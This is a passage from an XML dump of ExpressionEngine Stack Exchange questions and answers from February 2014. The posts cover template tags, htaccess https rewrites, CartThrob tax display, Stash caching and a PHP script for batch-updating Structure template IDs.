&amp;lt;span class=&quot;prev&quot;&amp;gt;&#xA;        &amp;lt;a rel=&quot;previous&quot; href=&quot;{abp_previous_link}&quot; class=&quot;page-previous&quot; title=&quot;Go to page {abp_previous_page_num}&quot;&amp;gt;&amp;amp;laquo; Previous&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;      {if abp_current_page_num_liber &amp;gt; 3}&#xA;      &amp;lt;span class=&quot;page&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{abp_first_link}&quot;&amp;gt;1&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/span&amp;gt;&#xA;      &amp;lt;span class=&quot;page&quot;&amp;gt;...&amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;&#xA;      {abp_pages padding=&quot;2&quot; initial_size=&quot;5&quot;}&#xA;&#xA;      {if abp_is_current}&#xA;      &amp;lt;span class=&quot;page current&quot;&amp;gt;{abp_num}&amp;lt;/span&amp;gt;&#xA;      {if:else}&#xA;      &amp;lt;span class=&quot;page&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{abp_link}&quot;&amp;gt;{abp_num}&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;&#xA;      {/abp_pages}&#xA;&#xA;      {if abp_has_next}&#xA;      &amp;lt;span class=&quot;next&quot;&amp;gt;&#xA;        &amp;lt;a rel=&quot;next&quot; href=&quot;{abp_next_link}&quot; class=&quot;page-next&quot;&amp;gt;Next &amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;      {if abp_last_page_not_linked}&#xA;      &amp;lt;span class=&quot;page&quot;&amp;gt;...&amp;lt;/span&amp;gt;&#xA;      &amp;lt;span class=&quot;page&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{abp_last_link}&quot;&amp;gt;{abp_total_pages}&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;    &amp;lt;/nav&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/paginate}&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2014-02-20T23:56:37.343" Title="Strings of 2 characters or less causes Super Search timeout" Tags="|solspace|search|supersearch|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19626" PostTypeId="1" AcceptedAnswerId="19667" CreationDate="2014-02-21T00:00:45.610" Score="2" ViewCount="40" Body="&lt;p&gt;I am having trouble getting a tag pair to work properly. In the preview pane of the control panel the code below behaves as expected. However, when the mail arrives via Mandrill this field is blank.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries channel=&quot;events_submitted&quot; entry_id=&quot;{parcel:entry_id}&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;strong&amp;gt;{cf_events_date:start_date format=&quot;%F %j, %Y&quot;}&amp;lt;/strong&amp;gt;&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clues? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2014-02-21T17:12:26.910" Title="Postmaster parses tag in preview but not in delivered email" Tags="|postmaster|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19627" PostTypeId="2" ParentId="19600" CreationDate="2014-02-21T01:05:29.927" Score="2" Body="&lt;p&gt;Store doesn't have a built in way to display a message when the download link expires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend using something like the &lt;a href=&quot;http://devot-ee.com/add-ons/dt-plugin&quot; rel=&quot;nofollow&quot;&gt;DT Plugin&lt;/a&gt; to display an expired message. I haven't used it in a while, but I assume you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {order_date} &amp;lt; {exp:dt ee_format=&quot;false&quot; format=&quot;%s&quot; day=“-2”}}&#xA;    This link has expired&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-21T01:05:29.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19628" PostTypeId="2" ParentId="19615" CreationDate="2014-02-21T01:19:46.943" Score="1" Body="&lt;p&gt;Have you looked at the various addons which automatically generate a descriptive title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/title-master&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you can use your own custom field as the actual title, and leave the entry title for something more descriptive in relationship fieldtypes etc.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-21T01:19:46.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19629" PostTypeId="2" ParentId="19622" CreationDate="2014-02-21T02:13:49.743" Score="1" Body="&lt;p&gt;It's because you have &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; in your parameters. Pagination depends on the URL, which in turn means the channel entries tags need to be dynamic.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-02-21T02:13:49.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19630" PostTypeId="2" ParentId="19615" CreationDate="2014-02-21T05:10:57.633" Score="2" Body="&lt;p&gt;Try &lt;a href=&quot;http://devot-ee.com/add-ons/mx-title-control&quot; rel=&quot;nofollow&quot;&gt;MX Title Control&lt;/a&gt; (free) - you can create any title or url  template using any ee tags. &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-21T05:10:57.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19631" PostTypeId="2" ParentId="19624" CreationDate="2014-02-21T05:22:03.223" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#switch&quot; rel=&quot;nofollow&quot;&gt;switch&lt;/a&gt; can help in this case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-container active&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;yourchannel&quot;}&#xA;        &amp;lt;img src=&quot;..&quot; /&amp;gt;&#xA;&#xA;        {if count != total_results} &#xA;          {switch='|||||||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;item-container&quot;&amp;gt;'}&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-21T05:22:03.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19632" PostTypeId="2" ParentId="19479" CreationDate="2014-02-21T07:32:01.073" Score="0" Body="&lt;p&gt;I think yet there is no way but you can do it using sql query directly from db &lt;/p&gt;&#xA;" OwnerUserId="2423" LastActivityDate="2014-02-21T07:32:01.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19633" PostTypeId="1" CreationDate="2014-02-21T07:45:10.323" Score="0" ViewCount="58" Body="&lt;p&gt;I have created form using freeform&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;when user fill-up form user as well as admin receive the email&#xA;    but admin want to receive another email whether user received email or not  &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;for ex: while fill upping form if i enter correct email user will receive email but when i enter wrong it will not.&#xA;notification should be  regarding this whether user received email or not&lt;/p&gt;&#xA;&#xA;&lt;p&gt;freefrom send mail using  ee()-&gt;email-&gt;send();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried to get return value for this but it always return true if email is correct or wrong ee()-&gt;email-&gt;send();&lt;/p&gt;&#xA;" OwnerUserId="2423" LastActivityDate="2014-03-23T09:59:21.417" Title="Freeform get return value wether user recieve email or not" Tags="|solspace-freeform|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19634" PostTypeId="2" ParentId="19633" CreationDate="2014-02-21T08:38:08.327" Score="1" Body="&lt;p&gt;as I understand you want to be sure, that email which user is entered is exist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all I don't know any EE add-on which which can do this. &#xA;Because of email specific (as is - not related to EE) is no good methods to do this. You can do telnet request to the server, but this methods is not good for most free servers (gmail/yahoo/hotmail etc.), this may cause your server IP to be added to a blacklist and it will mean that you will not able to send email to this servers at all. Plus some server can have  &quot;catch all email&quot; setting and will not give you right answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. only way to receive another email whether user received email or not is to setup admin email as sender. So he will get server answer on his email.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-21T09:32:55.833" LastActivityDate="2014-02-21T09:32:55.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19635" PostTypeId="1" AcceptedAnswerId="19636" CreationDate="2014-02-21T08:45:13.590" Score="3" ViewCount="2905" Body="&lt;p&gt;I have the following htaccess setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;&#xA;        # force https for all URLs in /admin.php&#xA;        RewriteCond %{HTTPS} =off&#xA;        RewriteRule ^admin.php https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;&#xA;        # Redirect index.php Requests&#xA;        # ------------------------------&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{THE_REQUEST} !/system/.*&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;        # Standard ExpressionEngine Rewrite&#xA;        # ------------------------------&#xA;        RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This all works great, when a user goes to /admin.php they are forced to use https and when everywhere else they just use http. However if you navigate to a front end page using the https protocol you'll get a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to be because the index.php removal technique isn't working for https, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://domain.com/page&quot; rel=&quot;nofollow&quot;&gt;https://domain.com/page&lt;/a&gt; - doesn't work&#xA;&lt;a href=&quot;https://domain.com/index.php/page&quot; rel=&quot;nofollow&quot;&gt;https://domain.com/index.php/page&lt;/a&gt; - does work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/page&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/page&lt;/a&gt; - does work&#xA;&lt;a href=&quot;http://domain.com/index.php/page&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/index.php/page&lt;/a&gt; - does work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't work out what I need to change to make it work when in https as, as far as I can tell there isn't https/http specified in my htaccess for the index.php removal? Any ideas would be most appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-07-16T09:55:33.397" Title="index.php removal in .htaccess doesn't work when on https" Tags="|htaccess|.htaccess|rewrite|mod-rewrite|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19636" PostTypeId="2" ParentId="19635" CreationDate="2014-02-21T09:31:33.213" Score="4" Body="&lt;p&gt;Many default SSL setup have settings to ignore .htaccess at all. So server use your .htaccess for http, but for security reason ignore default rules overwrite for https.&lt;br&gt;&#xA;Check your ssl config (try - /etc/httpd/conf.d/ssl.conf) what flag you have for &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride&quot; rel=&quot;nofollow&quot;&gt;AllowOverride&lt;/a&gt;?   Possible you have &lt;strong&gt;None&lt;/strong&gt; - in this case, the server will not even attempt to read .htaccess files in the filesystem. Change it to &lt;strong&gt;FileInfo&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-21T09:31:33.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19637" PostTypeId="2" ParentId="19479" CreationDate="2014-02-21T09:47:41.883" Score="2" Body="&lt;p&gt;You need to write custom script for this. You can find &lt;a href=&quot;https://structure.tenderapp.com/discussions/problems/414-need-to-batch-change-entry-template-association&quot; rel=&quot;nofollow&quot;&gt;script example&lt;/a&gt; on Structure support forum. My small modification of this script (you need to create template with rights to run php code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;!make DB backup before run the script!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA;* Batch reset template_id for Structure entries&#xA;*/&#xA;&#xA;$site_pages = ee()-&amp;gt;db-&amp;gt;query( &quot;SELECT site_pages&#xA;                                       FROM exp_sites&#xA;                                       WHERE site_id = 1&quot; )-&amp;gt;row()-&amp;gt;site_pages;&#xA;&#xA;$str = base64_decode($site_pages);&#xA;$arr = unserialize ($str);&#xA;$new_template_id = PASTE-NEW-TEPLATE-ID-HERE; //e.g. 24;&#xA;&#xA;// Set new template_id&#xA;foreach( $arr[1]['templates'] as $key =&amp;gt; $template_id )&#xA;{&#xA;    $arr[1]['templates'][$key] = $new_template_id;&#xA;}&#xA;&#xA;// Serialize &amp;amp; encode&#xA;$new_arr = serialize($arr);&#xA;$new_str = base64_encode($new_arr);&#xA;&#xA;&#xA;$query =  ee()-&amp;gt;db-&amp;gt;query( &quot;UPDATE exp_sites&#xA;                                   SET site_pages = $new_str&#xA;                                   WHERE site_id = 1&#xA;                                 &quot; );   &#xA;exit;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-21T09:57:36.383" LastActivityDate="2014-02-21T09:57:36.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19639" PostTypeId="1" CreationDate="2014-02-21T11:10:19.193" Score="1" ViewCount="72" Body="&lt;p&gt;How would I build a taxonomy filter like this in EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webcodesigner.com/?post_type=listing&quot; rel=&quot;nofollow&quot;&gt;http://webcodesigner.com/?post_type=listing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already purchased Low Search, are there any other addons necessary for this kind of thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="321" LastActivityDate="2014-05-22T15:08:25.757" Title="How to build a taxonomy filter for drilling down search results?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19640" PostTypeId="1" AcceptedAnswerId="19645" CreationDate="2014-02-21T12:00:12.940" Score="2" ViewCount="234" Body="&lt;p&gt;This seems to be linked to the issue discussed on &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17932/how-to-use-stashparse-and-no-results&quot;&gt;this question&lt;/a&gt; however it's using cache tags instead of parse and I'm redirecting to a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:cache name=&quot;page&quot;}&#xA;&#xA;  {exp:channel:entries&#xA;    channel=&quot;post&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    require=&quot;yes&quot;&#xA;  }&#xA;&#xA;    {if no_results}{redirect=&quot;pages/404&quot;}{/if}&#xA;&#xA;  {/exp:channel:entries}&#xA;&#xA;{/exp:stash:cache}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm accessing this template from the following URI - &lt;code&gt;/posts/test-post-that-doesnt-exist&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post doesn't exist, however the template still renders and does not redirect as you'd expect with the &lt;code&gt;no_results&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the idea on &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17932/how-to-use-stashparse-and-no-results&quot;&gt;this question&lt;/a&gt; I added an empty &lt;code&gt;no_results&lt;/code&gt; and it redirects correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}{/if}&#xA;{if no_results}{redirect=&quot;404&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It smells like a prefix issue, if I removed the stash:cache tags it redirects correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else has this issue? Is there a work around? Am I missing something (have tried prefix and unprefix parameters on the stash:cache tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ta&lt;/p&gt;&#xA;" OwnerUserId="261" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-02-21T13:39:55.057" Title="stash:cache and no_results inside channel:entries does not redirect" Tags="|stash|redirects|no-results|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19641" PostTypeId="1" CreationDate="2014-02-21T12:13:57.927" Score="1" ViewCount="82" Body="&lt;p&gt;I have a cart set up to add 20% VAT to products. We then have a field that enables the user to set a product as non-taxable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you order one of these products, everything goes through as expected with the order confirmation showing the line item without tax, and the order tax and grand total in the summary are all incorrect. However the subtotal is not - it adds tax when it shouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product price = £15.42, not taxable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subtotal = £18.50&#xA;Shipping = £0.00&#xA;(Incl. tax)= £0.00&#xA;Total = £15.42&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:submitted_order_info}&#xA;    Subtotal: {order_subtotal:plus_tax}&amp;lt;br&amp;gt;&#xA;    Shipping: {order_shipping:plus_tax}&amp;lt;br&amp;gt;&#xA;    (Incl. tax): {order_tax}&amp;lt;br&amp;gt;&#xA;    Total: {order_total}&#xA;{/exp:cartthrob:submitted_order_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried removing :plus_tax but then the output is incorrect for any products that DO have tax on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only seems to affect the subtotal and order_shipping in the submitted_order_info tag, both of which fine all the way through the basket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE is 2.7.2, CT Pro 2.4&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="506" LastEditDate="2014-02-21T13:12:46.653" LastActivityDate="2014-03-28T18:02:46.913" Title="Cartthrob order subtotal:plus_tax includes tax on products that aren't taxable" Tags="|cartthrob|mightybigrobot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19642" PostTypeId="1" CreationDate="2014-02-21T12:14:28.690" Score="2" ViewCount="421" Body="&lt;p&gt;I have a site in which I'd like to achieve the following: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Provide a publicly accessible but obfuscated and hard to guess at&#xA;URL to which a customer can be referred to, to submit some data via a&#xA;&lt;strong&gt;Channel Form&lt;/strong&gt; without them having to register and log in (the data&#xA;they submit is personal to them but does not personally identify them).&lt;/li&gt;&#xA;&lt;li&gt;Upon submission the entry is automatically closed so the form cannot be used again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So what I'd ideally like is a way to &lt;strong&gt;auto-generate unique URL Titles that are intrinsically hard to guess at&lt;/strong&gt;. Something like…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mydomain.com/segment/hyr6gDEGhyus&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess I could achieve this with custom JavaScript in the CP but anyone got any other suggestions?&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2014-02-21T12:20:59.080" LastActivityDate="2014-02-21T14:36:40.540" Title="Auto-create random ‘secure’ (obfuscated) url titles" Tags="|channel-form|url-title|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19643" PostTypeId="1" CreationDate="2014-02-21T12:24:02.600" Score="1" ViewCount="85" Body="&lt;p&gt;As the title states, when an order is placed, the order items should appear as entries in the Purchased Items channel but they do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The config is all set up as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2, CT Pro 2.4&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-04-27T18:04:26.353" Title="Cartthrob not saving purchased items when order created" Tags="|cartthrob|mightybigrobot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19644" PostTypeId="2" ParentId="19642" CreationDate="2014-02-21T13:06:30.357" Score="1" Body="&lt;p&gt;Sure - create an extension using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry-submission-start&quot; rel=&quot;nofollow&quot;&gt;entry_submission_start hook&lt;/a&gt; and set your unique &lt;code&gt;url_title&lt;/code&gt; there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;helper('string);&#xA;ee()-&amp;gt;api_channel_entries-&amp;gt;meta['url_title'] = random_string('alnum', 16);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-21T13:06:30.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19645" PostTypeId="2" ParentId="19640" CreationDate="2014-02-21T13:39:55.057" Score="2" Body="&lt;p&gt;I'm not sure if this works with the &lt;code&gt;{exp:stash:cache}&lt;/code&gt; tag or not, but you can try it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:cache name=&quot;page&quot; unprefix=&quot;my_prefix&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;post&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;        require=&quot;yes&quot;&#xA;    }&#xA;        {if my_prefix:no_results}{redirect=&quot;404&quot;}{/if}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-21T13:39:55.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19646" PostTypeId="2" ParentId="19624" CreationDate="2014-02-21T13:51:16.690" Score="5" Body="&lt;p&gt;Now that ExpressionEngine includes a &lt;a href=&quot;http://ellislab.com/blog/entry/the-modulus-operator&quot;&gt;&lt;strong&gt;modulus operator&lt;/strong&gt;&lt;/a&gt; (as of 2.7.1), you can also use that instead of &lt;code&gt;switch&lt;/code&gt; if you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the first html block's opening tag and the final block's closing tag &lt;em&gt;outside&lt;/em&gt; of &lt;code&gt;channel:entries&lt;/code&gt; and use modulus to conditionally close and re-open blocks of html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-container active&quot;&amp;gt;                &#xA;    {exp:channel:entries channel=&quot;some_channel&quot;}&#xA;&#xA;        your output here &amp;lt;br&amp;gt;&#xA;&#xA;        {if count % 8 == 0}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;item-container&quot;&amp;gt;&#xA;        {/if}&#xA;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#modulus-operator&quot;&gt;EE Documentation on Modulus Operator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-02-21T13:51:16.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19647" PostTypeId="2" ParentId="19624" CreationDate="2014-02-21T13:53:46.327" Score="2" Body="&lt;p&gt;You could also use the new modulus operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;yourchannel&quot;}&#xA;&#xA;    {if count % 8 == 1}&#xA;        &amp;lt;div class=&quot;item-container active&quot;&amp;gt;&#xA;    {/if} &#xA;&#xA;        &amp;lt;img src=&quot;..&quot; /&amp;gt;&#xA;&#xA;    {if count % 8 == 0 OR count == total_results} &#xA;      &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-21T13:53:46.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19648" PostTypeId="2" ParentId="19639" CreationDate="2014-02-21T13:57:37.007" Score="1" Body="&lt;p&gt;In short:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag&quot; rel=&quot;nofollow&quot;&gt;search form&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Create a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#results-tag&quot; rel=&quot;nofollow&quot;&gt;results list&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Optionally use JavaScript to submit the form when one of its elements changes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Depending on how your channels and fields are set up, you either want to hard-code the different options in your Form, or generate them using native channel tags or add-ons like &lt;a href=&quot;http://devot-ee.com/add-ons/loopee&quot; rel=&quot;nofollow&quot;&gt;Loopee&lt;/a&gt; or &lt;a href=&quot;https://github.com/low/low_options&quot; rel=&quot;nofollow&quot;&gt;Low Options&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a good grasp of how Low Search works, read the docs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Learn how Low Search approaches &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters&quot; rel=&quot;nofollow&quot;&gt;parameters&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Learn which parameters belong to which &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters&quot; rel=&quot;nofollow&quot;&gt;filters&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Apply these parameters to the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags&quot; rel=&quot;nofollow&quot;&gt;template tags&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Check out the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/examples&quot; rel=&quot;nofollow&quot;&gt;advanced examples&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: the only thing Low Search will not do, is generate a number of search results next to each filter option, like on the example site you linked.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-21T13:57:37.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19649" PostTypeId="1" CreationDate="2014-02-21T14:07:45.787" Score="0" ViewCount="104" Body="&lt;p&gt;I am very new to CartThrob and EE so excuse my ignorance.  I am charged with pulling order data from the database so I can write that data in our business system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the database we have stored, I believe, in {option_value} the item code for our inventory.  I have looked through all the fields in exp_channel_data for that information but can't seem to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE, I go to CartThrob, Products, Store-Products.  Look at one of the products, under size options, there’s a field Option Short Name.  Where is that stored?&lt;/p&gt;&#xA;" OwnerUserId="2779" LastEditorUserId="197" LastEditDate="2014-02-21T14:12:27.640" LastActivityDate="2014-05-22T16:08:26.533" Title="{option_value} how to pull from database" Tags="|cartthrob|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
